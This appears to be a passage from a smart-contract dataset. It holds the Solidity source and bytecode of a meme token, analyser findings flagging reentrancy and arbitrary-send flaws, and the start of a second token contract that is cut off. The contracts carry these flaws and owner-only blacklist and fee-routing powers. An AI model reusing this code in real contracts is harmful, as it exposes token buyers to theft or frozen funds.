_rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "CONOR FLOKI - t.me/ConorFloki"; string private constant _symbol = 'CONORFLOKI'; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 12; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610538565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610556565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610563565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105ea565b005b34801561029b57600080fd5b506102a4610663565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610668565b3480156102f257600080fd5b5061028d6106de565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610712565b34801561033a57600080fd5b5061028d61077c565b34801561034f57600080fd5b5061035861081e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61082d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610851565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610865945050505050565b34801561047e57600080fd5b5061028d610919565b34801561049357600080fd5b5061028d610956565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d3d565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e42565b60408051808201909152601d81527f434f4e4f5220464c4f4b49202d20742e6d652f436f6e6f72466c6f6b69000000602082015290565b600061054c610545610e6d565b8484610e71565b5060015b92915050565b683635c9adc5dea0000090565b6000610570848484610f5d565b6105e08461057c610e6d565b6105db85604051806060016040528060288152602001611fd4602891396001600160a01b038a166000908152600460205260408120906105ba610e6d565b6001600160a01b031681526020810191909152604001600020549190611333565b610e71565b5060019392505050565b6105f2610e6d565b6000546001600160a01b03908116911614610642576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffc833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610670610e6d565b6000546001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffc833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106f2610e6d565b6001600160a01b03161461070557600080fd5b4761070f816113ca565b50565b6001600160a01b03811660009081526006602052604081205460ff161561075257506001600160a01b038116600090815260036020526040902054610777565b6001600160a01b0382166000908152600260205260409020546107749061144f565b90505b919050565b610784610e6d565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffc833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600a815269434f4e4f52464c4f4b4960b01b602082015290565b600061054c61085e610e6d565b8484610f5d565b61086d610e6d565b6000546001600160a01b039081169116146108bd576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffc833981519152604482015290519081900360640190fd5b60005b8151811015610915576001600760008484815181106108db57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108c0565b5050565b6010546001600160a01b031661092d610e6d565b6001600160a01b03161461094057600080fd5b600061094b30610712565b905061070f816114af565b61095e610e6d565b6000546001600160a01b039081169116146109ae576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffc833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a0d576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a569030906001600160a01b0316683635c9adc5dea00000610e71565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8f57600080fd5b505afa158015610aa3573d6000803e3d6000fd5b505050506040513d6020811015610ab957600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0957600080fd5b505afa158015610b1d573d6000803e3d6000fd5b505050506040513d6020811015610b3357600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8557600080fd5b505af1158015610b99573d6000803e3d6000fd5b505050506040513d6020811015610baf57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610be181610712565b600080610bec61081e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5757600080fd5b505af1158015610c6b573d6000803e3d6000fd5b50505050506040513d6060811015610c8257600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0e57600080fd5b505af1158015610d22573d6000803e3d6000fd5b505050506040513d6020811015610d3857600080fd5b505050565b610d45610e6d565b6000546001600160a01b03908116911614610d95576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffc833981519152604482015290519081900360640190fd5b60008111610dea576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e086064610e02683635c9adc5dea000008461167d565b906116d6565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eb65760405162461bcd60e51b815260040180806020018281038252602481526020018061206a6024913960400191505060405180910390fd5b6001600160a01b038216610efb5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f916022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610fa25760405162461bcd60e51b81526004018080602001828103825260258152602001806120456025913960400191505060405180910390fd5b6001600160a01b038216610fe75760405162461bcd60e51b8152600401808060200182810382526023815260200180611f446023913960400191505060405180910390fd5b600081116110265760405162461bcd60e51b815260040180806020018281038252602981526020018061201c6029913960400191505060405180910390fd5b61102e61081e565b6001600160a01b0316836001600160a01b031614158015611068575061105261081e565b6001600160a01b0316826001600160a01b031614155b156112d657601354600160b81b900460ff1615611162576001600160a01b03831630148015906110a157506001600160a01b0382163014155b80156110bb57506012546001600160a01b03848116911614155b80156110d557506012546001600160a01b03838116911614155b15611162576012546001600160a01b03166110ee610e6d565b6001600160a01b0316148061111d57506013546001600160a01b0316611112610e6d565b6001600160a01b0316145b611162576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561117157600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111b357506001600160a01b03821660009081526007602052604090205460ff16155b6111bc57600080fd5b6013546001600160a01b0384811691161480156111e757506012546001600160a01b03838116911614155b801561120c57506001600160a01b03821660009081526005602052604090205460ff16155b80156112215750601354600160b81b900460ff165b15611269576001600160a01b038216600090815260086020526040902054421161124a57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061127430610712565b601354909150600160a81b900460ff1615801561129f57506013546001600160a01b03858116911614155b80156112b45750601354600160b01b900460ff165b156112d4576112c2816114af565b4780156112d2576112d2476113ca565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061131857506001600160a01b03831660009081526005602052604090205460ff165b15611321575060005b61132d84848484611718565b50505050565b600081848411156113c25760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561138757818101518382015260200161136f565b50505050905090810190601f1680156113b45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113e48360026116d6565b6040518115909202916000818181858888f1935050505015801561140c573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114278360026116d6565b6040518115909202916000818181858888f19350505050158015610915573d6000803e3d6000fd5b6000600a548211156114925760405162461bcd60e51b815260040180806020018281038252602a815260200180611f67602a913960400191505060405180910390fd5b600061149c611834565b90506114a883826116d6565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114f057fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561154457600080fd5b505afa158015611558573d6000803e3d6000fd5b505050506040513d602081101561156e57600080fd5b505181518290600190811061157f57fe5b6001600160a01b0392831660209182029290920101526012546115a59130911684610e71565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561162b578181015183820152602001611613565b505050509050019650505050505050600060405180830381600087803b15801561165457600080fd5b505af1158015611668573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168c57506000610550565b8282028284828161169957fe5b04146114a85760405162461bcd60e51b8152600401808060200182810382526021815260200180611fb36021913960400191505060405180910390fd5b60006114a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611857565b80611725576117256118bc565b6001600160a01b03841660009081526006602052604090205460ff16801561176657506001600160a01b03831660009081526006602052604090205460ff16155b1561177b576117768484846118ee565b611827565b6001600160a01b03841660009081526006602052604090205460ff161580156117bc57506001600160a01b03831660009081526006602052604090205460ff165b156117cc57611776848484611a12565b6001600160a01b03841660009081526006602052604090205460ff16801561180c57506001600160a01b03831660009081526006602052604090205460ff165b1561181c57611776848484611abb565b611827848484611b2e565b8061132d5761132d611b72565b6000806000611841611b80565b909250905061185082826116d6565b9250505090565b600081836118a65760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561138757818101518382015260200161136f565b5060008385816118b257fe5b0495945050505050565b600c541580156118cc5750600d54155b156118d6576118ec565b600c8054600e55600d8054600f55600091829055555b565b60008060008060008061190087611cff565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119329088611d5c565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119619087611d5c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119909086611d9e565b6001600160a01b0389166000908152600260205260409020556119b281611df8565b6119bc8483611e80565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a2487611cff565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a569087611d5c565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a8c9084611d9e565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546119909086611d9e565b600080600080600080611acd87611cff565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aff9088611d5c565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a569087611d5c565b600080600080600080611b4087611cff565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119619087611d5c565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cbf57826002600060098481548110611bb057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c155750816003600060098481548110611bee57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c3357600a54683635c9adc5dea0000094509450505050611cfb565b611c736002600060098481548110611c4757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d5c565b9250611cb56003600060098481548110611c8957fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d5c565b9150600101611b94565b50600a54611cd690683635c9adc5dea000006116d6565b821015611cf557600a54683635c9adc5dea00000935093505050611cfb565b90925090505b9091565b6000806000806000806000806000611d1c8a600c54600d54611ea4565b9250925092506000611d2c611834565b90506000806000611d3f8e878787611ef3565b919e509c509a509598509396509194505050505091939550919395565b60006114a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611333565b6000828201838110156114a8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611e02611834565b90506000611e10838361167d565b30600090815260026020526040902054909150611e2d9082611d9e565b3060009081526002602090815260408083209390935560069052205460ff1615610d385730600090815260036020526040902054611e6b9084611d9e565b30600090815260036020526040902055505050565b600a54611e8d9083611d5c565b600a55600b54611e9d9082611d9e565b600b555050565b6000808080611eb86064610e02898961167d565b90506000611ecb6064610e028a8961167d565b90506000611ee382611edd8b86611d5c565b90611d5c565b9992985090965090945050505050565b6000808080611f02888661167d565b90506000611f10888761167d565b90506000611f1e888861167d565b90506000611f3082611edd8686611d5c565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205c78ff84d7a51722c1557ee4c4c7428274a12970e74cb1f39076cf684080109364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,901
0x06D5224C5b63a9A12B58000061D691F282edB23B
/* Doge Donut $DOGINUT TG: https://t.me/dojinut _____ ____ _ _____ _ _ _ _ _______ | __ \ / __ \ | |_ _| \ | | | | |__ __| | | | | | | | | | | | | \| | | | | | | | | | | | | |_ | | | | | . ` | | | | | | | |__| | |__| | |__| |_| |_| |\ | |__| | | | |_____/ \____/ \____/|_____|_| \_|\____/ |_| Limit Buy: 0.05% in the beginning Cooldown: 30 ~ 60s Bot Protection: for the first 5 mins Dev Fee: 5% Fair launch: Yes LP lock: Instantly Ownership Rennouce: 10 mins after launch Community Driven: Yes */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DogiNut is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dogi Donut"; string private constant _symbol = "DOGINUT \xF0\x9F\x8D\xA9"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function 